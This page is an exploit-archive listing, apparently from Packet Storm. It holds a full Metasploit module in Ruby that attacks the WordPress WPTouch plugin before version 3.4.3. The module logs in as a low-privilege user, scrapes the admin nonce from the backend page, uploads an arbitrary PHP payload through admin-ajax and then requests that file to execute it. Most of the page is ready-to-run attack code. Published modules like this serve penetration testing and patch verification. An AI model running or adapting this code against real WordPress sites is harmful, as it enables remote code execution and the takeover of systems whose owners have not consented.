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Wordpress WPTouch Authenticated File Upload

Wordpress WPTouch Authenticated File Upload
Posted Jul 15, 2014
Authored by Christian Mehlmauer, Marc-Alexandre Montpas | Site metasploit.com

The Wordpress WPTouch plugin contains an authenticated file upload vulnerability. A wp-nonce (CSRF token) is created on the backend index page and the same token is used on handling ajax file uploads through the plugin. By sending the captured nonce with the upload, we can upload arbitrary files to the upload folder. Because the plugin also uses it's own file upload mechanism instead of the wordpress api it's possible to upload any file type. The user provided does not need special rights. Also users with "Contributer" role can be abused.

tags | exploit, arbitrary, file upload
SHA-256 | 3b83080229ddf1398d4c0e14805e19037ba1387ba609af42952912ac8e1c07bb

Wordpress WPTouch Authenticated File Upload

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##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::HTTP::Wordpress
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name' => 'Wordpress WPTouch Authenticated File Upload',
'Description' => %q{
The Wordpress WPTouch plugin contains an auhtenticated file upload
vulnerability. A wp-nonce (CSRF token) is created on the backend index
page and the same token is used on handling ajax file uploads through
the plugin. By sending the captured nonce with the upload, we can
upload arbitrary files to the upload folder. Because the plugin also
uses it's own file upload mechanism instead of the wordpress api it's
possible to upload any file type.
The user provided does not need special rights. Also users with "Contributer"
role can be abused.
},
'Author' =>
[
'Marc-Alexandre Montpas', # initial discovery
'Christian Mehlmauer' # metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'http://blog.sucuri.net/2014/07/disclosure-insecure-nonce-generation-in-wptouch.html' ]
],
'Privileged' => false,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' => [ ['wptouch < 3.4.3', {}] ],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jul 14 2014'))

register_options(
[
OptString.new('USER', [true, "A valid username", nil]),
OptString.new('PASSWORD', [true, "Valid password for the provided username", nil]),
], self.class)
end

def user
datastore['USER']
end

def password
datastore['PASSWORD']
end

def check
readme_url = normalize_uri(target_uri.path, 'wp-content', 'plugins', 'wptouch', 'readme.txt')
res = send_request_cgi({
'uri' => readme_url,
'method' => 'GET'
})
# no readme.txt present
if res.nil? || res.code != 200
return Msf::Exploit::CheckCode::Unknown
end

# try to extract version from readme
# Example line:
# Stable tag: 2.6.6
version = res.body.to_s[/stable tag: ([^\r\n"\']+\.[^\r\n"\']+)/i, 1]

# readme present, but no version number
if version.nil?
return Msf::Exploit::CheckCode::Detected
end

vprint_status("#{peer} - Found version #{version} of the plugin")

if Gem::Version.new(version) < Gem::Version.new('3.4.3')
return Msf::Exploit::CheckCode::Appears
else
return Msf::Exploit::CheckCode::Safe
end
end

def get_nonce(cookie)
res = send_request_cgi({
'uri' => wordpress_url_backend,
'method' => 'GET',
'cookie' => cookie
})

# forward to profile.php or other page?
if res and res.code.to_s =~ /30[0-9]/ and res.headers['Location']
location = res.headers['Location']
print_status("#{peer} - Following redirect to #{location}")
res = send_request_cgi({
'uri' => location,
'method' => 'GET',
'cookie' => cookie
})
end

if res and res.body and res.body =~ /var WPtouchCustom = {[^}]+"admin_nonce":"([a-z0-9]+)"};/
return $1
else
return nil
end
end

def upload_file(cookie, nonce)
filename = "#{rand_text_alpha(10)}.php"

data = Rex::MIME::Message.new
data.add_part(payload.encoded, 'application/x-php', nil, "form-data; name=\"myfile\"; filename=\"#{filename}\"")
data.add_part('homescreen_image', nil, nil, 'form-data; name="file_type"')
data.add_part('upload_file', nil, nil, 'form-data; name="action"')
data.add_part('wptouch__foundation__logo_image', nil, nil, 'form-data; name="setting_name"')
data.add_part(nonce, nil, nil, 'form-data; name="wp_nonce"')
post_data = data.to_s

print_status("#{peer} - Uploading payload")
res = send_request_cgi({
'method' => 'POST',
'uri' => wordpress_url_admin_ajax,
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => post_data,
'cookie' => cookie
})

if res and res.code == 200 and res.body and res.body.length > 0
register_files_for_cleanup(filename)
return res.body
end

return nil
end

def exploit
print_status("#{peer} - Trying to login as #{user}")
cookie = wordpress_login(user, password)
if cookie.nil?
print_error("#{peer} - Unable to login as #{user}")
return
end

print_status("#{peer} - Trying to get nonce")
nonce = get_nonce(cookie)
if nonce.nil?
print_error("#{peer} - Can not get nonce after login")
return
end
print_status("#{peer} - Got nonce #{nonce}")

print_status("#{peer} - Trying to upload payload")
file_path = upload_file(cookie, nonce)
if file_path.nil?
print_error("#{peer} - Error uploading file")
return
end

print_status("#{peer} - Calling uploaded file #{file_path}")
res = send_request_cgi({
'uri' => file_path,
'method' => 'GET'
})
end
end
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